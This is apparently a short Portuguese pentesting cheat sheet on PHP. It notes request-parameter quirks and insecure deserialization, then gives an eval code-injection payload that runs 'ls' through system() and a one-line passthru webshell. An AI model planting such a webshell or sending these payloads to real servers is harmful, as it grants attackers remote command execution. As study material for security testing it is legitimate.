# PHP

### Comportamentos Interessantes

As requisições do PHP recebem valores GET, POST, e também recebem COOKIES, isso pode levar a um comportamento interessante ao configurar os valores de GET e POST, ou até COOKIE com valores diferentes.

### Desserialização Insegura PHP

Se em um código possui alguma [magic method](https://www.php.net/manual/en/language.oop5.magic.php#language.oop5.magic), podemos ter uma aplicação vulnerável a [Desserialização Insegura](https://blog.convisoappsec.com/desserializacao-insegura-em-php/).

### Eval Code Injection

```php
${system($_GET['nosferatu'])}&nosferatu=ls
```

### Webshell

```php
<?php passthru($_GET['nosf']); ?>
```
